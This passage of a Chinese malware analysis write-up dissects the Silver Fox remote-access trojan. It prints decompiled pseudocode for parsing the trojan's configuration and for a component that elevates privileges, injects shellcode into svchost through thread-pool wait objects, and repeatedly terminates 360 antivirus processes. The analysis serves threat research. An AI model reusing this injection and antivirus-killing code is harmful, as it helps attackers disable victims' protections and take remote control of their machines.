*)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o2:", 0);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"t2:", &dword_35F3F30);     v4 = &unk_35F3F34;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p3:", 0);     v4 = &unk_35F4132;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o3:", 0);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"t3:", &dword_35F4170);     v4 = &unk_35F4174;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"dd:", 0);     v4 = &unk_35F41B0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"cl:", 0);     v4 = &unk_35F41EC;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"fz:", 0);     v4 = &unk_35F4250;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"bb:", 0);     v4 = &unk_35F42B4;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"bz:", 0);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"jp:", &unk_35F4318);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"sx:", &unk_35F431C);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"bh:", &unk_35F4320);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"ll:", &unk_35F4324);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"dl:", &dword_35F4328);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"sh:", &unk_35F432C);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"kl:", &dword_35F4330);     v4 = &unk_35F4D56;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p4:", 0);     v4 = &unk_35F4F54;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = &a1Js04t14364o21[1];     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o4:", 0);     v4 = 0;     v3 = 7;     v2 = 0;     LOWORD(v1[0]) = 0;     v5 = (wchar_t *)v1;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"t4:", &unk_35F4F90);     v4 = &unk_35F4F94;     v3 = 7;     v2 = 0;     v5 = (wchar_t *)v1;     LOWORD(v1[0]) = 0;     wcslen(a1Js04t14364o21);     ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);     return ((int (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"sj:", 0);   }   return result; }

  解析出银狐远控的配置信息

2.2.8.1.png

  创建线程执行远控。

int sub_35D3710() {   if ( !dword_35F4FD4 )   {     sub_35D29A0();     dword_35F4FD4 = ((int (__stdcall *)(_DWORD, _DWORD, void (__noreturn *)(), _DWORD, _DWORD, _DWORD))kernel32_CreateThread)(                       0,                       0,                       sub_35D3140,                       0,                       0,                       0);     ((void (__stdcall *)(_DWORD, _DWORD, void (__noreturn *)(), _DWORD, _DWORD, _DWORD))kernel32_CreateThread)(       0,       0,       sub_35D3460,       0,       0,       0);     ((void (__stdcall *)(int, int))kernel32_WaitForSingleObject)(dword_35F4FD4, -1);     ((void (__stdcall *)(int))kernel32_CloseHandle)(dword_35F4FD4);   }   return 0; }

  后面就是与服务端执行通信进行远控了,这里就不详细分析了

2.2.8.2.png

2.3 强杀360程序分析

  基于2.2.5所提到远程下载的样本project.exe进行分析

2.3.1.png

2.3.2.png

  拖入ida中,发现它并未去除pdb

2.3.3.png

2.3.1 执行流程

2.3.1.1.png

2.3.2 提权

  RtlAdjustPrivilege(20, 1, 0, &WasEnabled);

  提升到SE_DEBUG_PRIVILEGE特权

SE_DEBUG_PRIVILEGE (20):允许调试其他进程。

SE_SHUTDOWN_PRIVILEGE (19):允许关闭系统。

SE_TAKE_OWNERSHIP_PRIVILEGE (9):允许取得对象的所有权。

2.3.3 查找注入进程

  遍历进程查找svchost.exe

2.3.3.1.png

2.3.4 复制句柄

  复制句柄

2.3.4.1.png

2.3.5 注入

  分配空间并写入进程

v23 = VirtualAllocEx(v11, 0i64, 0x8F6ui64, 0x3000u, 0x40u);   WriteProcessMemory(v11, v23, &unk_7FF648BE6C70, 0x8F6ui64, 0i64);

  注入的shellcode大致如下,简单一个遍历进程并关闭360

__int64 __fastcall sub_7FF648BE6FF0(_QWORD *a1) {   __int64 result; // rax   char v2[8]; // [rsp+20h] [rbp-98h] BYREF   char v3[16]; // [rsp+28h] [rbp-90h] BYREF   char v4[16]; // [rsp+38h] [rbp-80h] BYREF   char v5[16]; // [rsp+48h] [rbp-70h] BYREF   char v6[16]; // [rsp+58h] [rbp-60h] BYREF   char v7[16]; // [rsp+68h] [rbp-50h] BYREF   char v8[24]; // [rsp+78h] [rbp-40h] BYREF   char v9[40]; // [rsp+90h] [rbp-28h] BYREF   *a1 = sub_7FF648BE6F60();   strcpy(v4, "CloseHandle");   strcpy(v9, "CreateToolhelp32Snapshot");   strcpy(v7, "Process32First");   strcpy(v6, "Process32Next");   strcpy(v5, "OpenProcess");   strcpy(v8, "TerminateProcess");   strcpy(v3, "lstrcmpiA");   strcpy(v2, "Sleep");   a1[1] = sub_7FF648BE6E30(*a1, v4);   a1[2] = sub_7FF648BE6E30(*a1, v9);   a1[3] = sub_7FF648BE6E30(*a1, v7);   a1[4] = sub_7FF648BE6E30(*a1, v6);   a1[5] = sub_7FF648BE6E30(*a1, v5);   a1[6] = sub_7FF648BE6E30(*a1, v8);   a1[7] = sub_7FF648BE6E30(*a1, v3);   result = sub_7FF648BE6E30(*a1, v2);   a1[8] = result;   return result; } __int64 sub_7FF648BE6C70() {   __int64 result; // rax   char v1[16]; // [rsp+20h] [rbp-1C8h] BYREF   char v2[16]; // [rsp+30h] [rbp-1B8h] BYREF   __int64 v3; // [rsp+40h] [rbp-1A8h]   __int64 v4; // [rsp+48h] [rbp-1A0h]   __int64 v5; // [rsp+50h] [rbp-198h]   char v6[8]; // [rsp+60h] [rbp-188h] BYREF   void (__fastcall *v7)(__int64); // [rsp+68h] [rbp-180h]   __int64 (__fastcall *v8)(__int64, _QWORD); // [rsp+70h] [rbp-178h]   unsigned int (__fastcall *v9)(__int64, int *); // [rsp+78h] [rbp-170h]   unsigned int (__fastcall *v10)(__int64, int *); // [rsp+80h] [rbp-168h]   __int64 (__fastcall *v11)(__int64, _QWORD, _QWORD); // [rsp+88h] [rbp-160h]   void (__fastcall *v12)(__int64, _QWORD); // [rsp+90h] [rbp-158h]   unsigned int (__fastcall *v13)(char *, char *); // [rsp+98h] [rbp-150h]   void (__fastcall *v14)(__int64); // [rsp+A0h] [rbp-148h]   int v15; // [rsp+B0h] [rbp-138h] BYREF   unsigned int v16; // [rsp+B8h] [rbp-130h]   char v17[268]; // [rsp+DCh] [rbp-10Ch] BYREF   sub_7FF648BE6FF0(v6);   strcpy(v1, "360tray.exe");   strcpy(v2, "360Tray.exe");   while ( 1 )   {     result = v8(2i64, 0i64);     v3 = result;     if ( result == -1 )       return result;     v15 = 304;     if ( v9(v3, &v15) )     {       while ( 1 )       {         if ( !v13(v17, v1) )         {           v4 = v11(1i64, 0i64, v16);           if ( v4 )           {             v12(v4, 0i64);             v7(v4);           }           goto LABEL_13;         }         if ( !v13(v17, v2) )           break;         if ( !v10(v3, &v15) )           goto LABEL_13;       }       v5 = v11(1i64, 0i64, v16);       if ( v5 )       {         v12(v5, 0i64);         v7(v5);       }     } LABEL_13:     v7(v3);     v14(100i64);   } }

  创建一个线程池等待对象,并将其写入进程

  ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v23, 0i64, 0i64);   v25 = VirtualAllocEx(v11, 0i64, 0x1D8ui64, 0x3000u, 4u);   WriteProcessMemory(v11, v25, ThreadpoolWait, 0x1D8ui64, 0i64);   v26 = VirtualAllocEx(v11, 0i64, 0x48ui64, 0x3000u, 4u);   WriteProcessMemory(v11, v26, (char *)ThreadpoolWait + 392, 0x48ui64, 0i64);

  创建事件,并将事件与等待对象关联,事件设置之后就会执行shellcode

EventW = CreateEventW(0i64, 0, 0, L"asdEvent");   ((void (__fastcall *)(_QWORD, __int64, HANDLE, void *, void *))ZwAssociateWaitCompletionPacket)(     *((_QWORD *)ThreadpoolWait + 46),     qword_7FF648BE9CB8,     EventW,     v26,     v25);   SetEvent(EventW); 2.3.6 强关360

  动态加载函数然后强关360

2.3.6.1.png

3. 病毒分析概览

  该病毒通过多层次的加载机制和复杂的内存操作,实现了远程控制、反检测和强制关闭安全软件等功能。其执行流程包括远程加载 shellcode、反射加载 DLL、自解密、提权操作,以及利用动态 API 调用实现代码注入和系统操作。同时,病毒设置自身为系统关键进程,以蓝屏保护机制防止被终止,并通过与远程服务器持续通信,执行数据窃取和控制命令。整体攻击流程展现出极高的隐蔽性和破坏性。

首页
评论
分享
Top